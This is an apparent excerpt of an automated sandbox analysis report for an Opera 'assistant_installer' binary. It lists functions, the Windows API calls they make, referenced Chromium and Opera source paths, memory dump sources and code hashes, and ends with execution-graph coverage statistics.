                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ExclusiveLock$AcquireRelease
                                                                                                                                                                                                                • String ID: 0Fy
                                                                                                                                                                                                                • API String ID: 17069307-1422925209
                                                                                                                                                                                                                • Opcode ID: eff0505f2571bc02d565562f06601aad3ad0bbf358f0f8061205f57312a23c09
                                                                                                                                                                                                                • Instruction ID: 7e7a48f3120a13e722e16933ab9f87f2fde34945c1ca304fa2a24c4a40fe161b
                                                                                                                                                                                                                • Opcode Fuzzy Hash: eff0505f2571bc02d565562f06601aad3ad0bbf358f0f8061205f57312a23c09
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 06118E353002059BEB28CF44C48466AB766FB85715F208459DE424F746E77AAE02CBE1
                                                                                                                                                                                                                Function 00751A20 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • MoveFileExW.KERNEL32(0070641A,00000000,00000004,?,00000000), ref: 00751AA0
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • ../../base/files/file_util_win.cc, xrefs: 00751A67
                                                                                                                                                                                                                • DeleteFileAfterReboot, xrefs: 00751A6C
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FileMove
                                                                                                                                                                                                                • String ID: ../../base/files/file_util_win.cc$DeleteFileAfterReboot
                                                                                                                                                                                                                • API String ID: 3562171763-3643015445
                                                                                                                                                                                                                • Opcode ID: 750226727a93d8707c8fc2d0ddf278302437f2de5fc5a1ab29ed506f902598ff
                                                                                                                                                                                                                • Instruction ID: d4dbafb1b9b983a8f55159812575c3ada485197a3fef8ed3b742a5bc33e4a679
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 750226727a93d8707c8fc2d0ddf278302437f2de5fc5a1ab29ed506f902598ff
                                                                                                                                                                                                                • Instruction Fuzzy Hash: A311E731914381ABE320DF288C85B6AB3A4FFC6770F50471DFAE0561C1DBB465448682
                                                                                                                                                                                                                Function 00717826 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen
                                                                                                                                                                                                                • String ID: files$uq
                                                                                                                                                                                                                • API String ID: 4218353326-3400285260
                                                                                                                                                                                                                • Opcode ID: a513c5189458ca9b6bdba0cd9f60fb585baa68d8ac0252ad52a668e8081fdbee
                                                                                                                                                                                                                • Instruction ID: c542c53176b87956886a4c054c1a4047acd07970f783ae16f38075bf169526fb
                                                                                                                                                                                                                • Opcode Fuzzy Hash: a513c5189458ca9b6bdba0cd9f60fb585baa68d8ac0252ad52a668e8081fdbee
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 0101B1B2E003148BDB10EF69AC8956FB7A8FB44324B004839E886A7342D634AD44C7A2
                                                                                                                                                                                                                Function 007178A8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen
                                                                                                                                                                                                                • String ID: root_files$uq
                                                                                                                                                                                                                • API String ID: 4218353326-3976937025
                                                                                                                                                                                                                • Opcode ID: d8cabee366c78abdc3a60bbb1a0eabe93d7465de310c254b475713f3cbb62c7d
                                                                                                                                                                                                                • Instruction ID: f6a6a02b0d6fb77d2a391754284f092ece41782b59889d1f1b2db5c77aa32881
                                                                                                                                                                                                                • Opcode Fuzzy Hash: d8cabee366c78abdc3a60bbb1a0eabe93d7465de310c254b475713f3cbb62c7d
                                                                                                                                                                                                                • Instruction Fuzzy Hash: DD0188B1E003149BDB10EF78EC8556FB7E5FF44324B444839E956A7341DA34AD54C7A1
                                                                                                                                                                                                                Function 0070DA80 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetForegroundWindow.USER32 ref: 0070DA95
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • OnInitialized, xrefs: 0070DAD8
                                                                                                                                                                                                                • ../../opera/desktop/chrome_imports/chrome/browser/win/settings_app_monitor.cc, xrefs: 0070DAD3
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ForegroundWindow
                                                                                                                                                                                                                • String ID: ../../opera/desktop/chrome_imports/chrome/browser/win/settings_app_monitor.cc$OnInitialized
                                                                                                                                                                                                                • API String ID: 2020703349-173421485
                                                                                                                                                                                                                • Opcode ID: 403c8a14b042a6c8302cf7eacc45ed691362699d4ecd463321fbcbb9c159e0b2
                                                                                                                                                                                                                • Instruction ID: a954eda30eb4ac61778c282e750c380ae18db92d24a1437c48ea068f9ce23e34
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 403c8a14b042a6c8302cf7eacc45ed691362699d4ecd463321fbcbb9c159e0b2
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 2B0192B1E00214AFDB10EF989C468AEBBF8FF49720F444569E915A7341E77469148BE2
                                                                                                                                                                                                                Function 00711F30 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • ShellExecuteExW.SHELL32(?), ref: 00711F8E
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • ExecuteShellCommand, xrefs: 00711F75
                                                                                                                                                                                                                • ../../opera/desktop/windows/os_operations/os_operations_impl.cc, xrefs: 00711F70
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ExecuteShell
                                                                                                                                                                                                                • String ID: ../../opera/desktop/windows/os_operations/os_operations_impl.cc$ExecuteShellCommand
                                                                                                                                                                                                                • API String ID: 587946157-312287457
                                                                                                                                                                                                                • Opcode ID: 868cec683d7e9f1791a28fabc9b05eec084f7772391ab0cf6af69223c8af555d
                                                                                                                                                                                                                • Instruction ID: 737b1d04c5b5ecc77d5d5c3c2492debd1a92ca8c80b85115c0f4dda2c1b40ba3
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 868cec683d7e9f1791a28fabc9b05eec084f7772391ab0cf6af69223c8af555d
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 5A01D872A107449BD310AF389C8656BB7A8FBD9760F100A2EF9D1D3642EB74A54486D1
                                                                                                                                                                                                                Function 007F8AC0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42threadCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CreateThread.KERNEL32(00000000,00000000,007F8B30,00000000,00000000,00000000), ref: 007F8ADF
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • ../../third_party/crashpad/crashpad/util/thread/thread_win.cc, xrefs: 007F8B01
                                                                                                                                                                                                                • CreateThread, xrefs: 007F8B18
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CreateThread
                                                                                                                                                                                                                • String ID: ../../third_party/crashpad/crashpad/util/thread/thread_win.cc$CreateThread
                                                                                                                                                                                                                • API String ID: 2422867632-2064233884
                                                                                                                                                                                                                • Opcode ID: ed168efd8f06eaf2adb371cbbf6fa61775c6de238305621af97e034f9db96519
                                                                                                                                                                                                                • Instruction ID: 65baa22b905ae5cea7fc7312bb0e37933db84e94f05333f63a9078979b0cad22
                                                                                                                                                                                                                • Opcode Fuzzy Hash: ed168efd8f06eaf2adb371cbbf6fa61775c6de238305621af97e034f9db96519
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 44F0F6B1E40218ABD61077786C06D7F775CEB00710F00402AF905E7681FD68AE00439A
                                                                                                                                                                                                                Function 007AC802 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • FindClose.KERNEL32(007E9B54,007E9B54,?), ref: 007AC818
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • FindClose, xrefs: 007AC84E
                                                                                                                                                                                                                • ../../third_party/crashpad/crashpad/util/win/scoped_handle.cc, xrefs: 007AC837
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CloseFind
                                                                                                                                                                                                                • String ID: ../../third_party/crashpad/crashpad/util/win/scoped_handle.cc$FindClose
                                                                                                                                                                                                                • API String ID: 1863332320-1337471325
                                                                                                                                                                                                                • Opcode ID: 9da093c275b7956ae05b553724bd3d62578151d5866cefda1cde154984d0366b
                                                                                                                                                                                                                • Instruction ID: a4ee725733a42366967a9324c3c6e924fb0f690de07010d5d28c180302fdd3cd
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 9da093c275b7956ae05b553724bd3d62578151d5866cefda1cde154984d0366b
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 5DF0E971F40218A7CA147B68AC0BE6D7729BF41710F400029F9066B2C2FE386A1483D9
                                                                                                                                                                                                                Function 006FCEA4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • ___std_exception_copy.LIBVCRUNTIME ref: 006FCEDA
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ___std_exception_copy
                                                                                                                                                                                                                • String ID: br$br
                                                                                                                                                                                                                • API String ID: 2659868963-3569258106
                                                                                                                                                                                                                • Opcode ID: 60e3dbf81ffaecc9c2fbab4522203cafb2845dd5d4921c4e6e4aaa207d02b92e
                                                                                                                                                                                                                • Instruction ID: 3911cb7767ec134bf848f7df7ef75450c40e93694d642dec97cc5680defae18a
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 60e3dbf81ffaecc9c2fbab4522203cafb2845dd5d4921c4e6e4aaa207d02b92e
                                                                                                                                                                                                                • Instruction Fuzzy Hash: BCF05EB09003159BC318DF5DE8514AAFBF5FF89720B44C52EE88A8B380EB716588CB95
                                                                                                                                                                                                                Function 007701DB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 00770209
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 00770238
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Init_thread_footerInit_thread_header
                                                                                                                                                                                                                • String ID: hmW
                                                                                                                                                                                                                • API String ID: 4092853384-2631504439
                                                                                                                                                                                                                • Opcode ID: 41c3c479a3b7d5df7e823a99ff533bd565c695743e8992a7eda49178d11d087e
                                                                                                                                                                                                                • Instruction ID: 9cd5f7fbac86462b8498be8ce6ef8e9dc9c5a12d99990134ec5b53f246cdf6af
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 41c3c479a3b7d5df7e823a99ff533bd565c695743e8992a7eda49178d11d087e
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 5EF0E2B1A00210DFEE10E76CB9469553390FBC6360F116035E50A87BC2DEF57840C693
                                                                                                                                                                                                                Function 0077C350 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 0077C37C
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 0077C3AB
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Init_thread_footerInit_thread_header
                                                                                                                                                                                                                • String ID: dummy_histogram
                                                                                                                                                                                                                • API String ID: 4092853384-2199933292
                                                                                                                                                                                                                • Opcode ID: 6d0068988f048add161a1042c17f39a38172cdeb6c315fc620ceb65317ff2062
                                                                                                                                                                                                                • Instruction ID: 98ad4bdc424f3ad8e9ec9d1aaffb2f97567c1831f5b148f4ccbaf6ee08e1a3a8
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 6d0068988f048add161a1042c17f39a38172cdeb6c315fc620ceb65317ff2062
                                                                                                                                                                                                                • Instruction Fuzzy Hash: CEF0E530640E00CBE620A76CBC53F183351F76BF54F418229D61586BA3D7396CC18AD7
                                                                                                                                                                                                                Function 0078EB90 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18libraryloaderCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetModuleHandleW.KERNEL32(00000000), ref: 0078EB9E
                                                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,GetHandleVerifier), ref: 0078EBAA
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: AddressHandleModuleProc
                                                                                                                                                                                                                • String ID: GetHandleVerifier
                                                                                                                                                                                                                • API String ID: 1646373207-1090674830
                                                                                                                                                                                                                • Opcode ID: edfd60898e639e71c6c01192375ea5d6a684963ad5ef7eaabde7e4c584c8a875
                                                                                                                                                                                                                • Instruction ID: f96e843be6a2ad54e5162a3a6340f25182e525bbb57cb906e12a05237742ffb4
                                                                                                                                                                                                                • Opcode Fuzzy Hash: edfd60898e639e71c6c01192375ea5d6a684963ad5ef7eaabde7e4c584c8a875
                                                                                                                                                                                                                • Instruction Fuzzy Hash: ACD09E702CC704B7E7807BA1AC0AF393658B705B2EF144425F30A995D1DBA899808B97
                                                                                                                                                                                                                Function 0078DAB0 Relevance: 5.1, APIs: 4, Instructions: 105COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetLastError.KERNEL32(?,00000000,?,?,0078DAA5,?,?,?,00755FBB,?), ref: 0078DB49
                                                                                                                                                                                                                • SetLastError.KERNEL32(00000000), ref: 0078DB80
                                                                                                                                                                                                                • GetLastError.KERNEL32(?,00000000,?,?,0078DAA5,?,?,?,00755FBB,?), ref: 0078DB93
                                                                                                                                                                                                                • SetLastError.KERNEL32(00000000), ref: 0078DBCE
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ErrorLast
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 1452528299-0
                                                                                                                                                                                                                • Opcode ID: 983b079d2ef08ccd3046a37f3aa003cd086239d02d80dd3dff0f0af72f78ffca
                                                                                                                                                                                                                • Instruction ID: 6ea5628ce0f7fe6af39da7383bc67eb958d3798439390977b8ff494b8f04f9b0
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 983b079d2ef08ccd3046a37f3aa003cd086239d02d80dd3dff0f0af72f78ffca
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 63318FB1240205DBD734EF24D48971AB7E6EB44324F25882DE58AC7792DB39FC44CB56

                                                                                                                                                                                                                Execution Graph

                                                                                                                                                                                                                Execution Coverage:2.6%
                                                                                                                                                                                                                Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                                Signature Coverage:0%
                                                                                                                                                                                                                Total number of Nodes:1377
                                                                                                                                                                                                                Total number of Limit Nodes:15
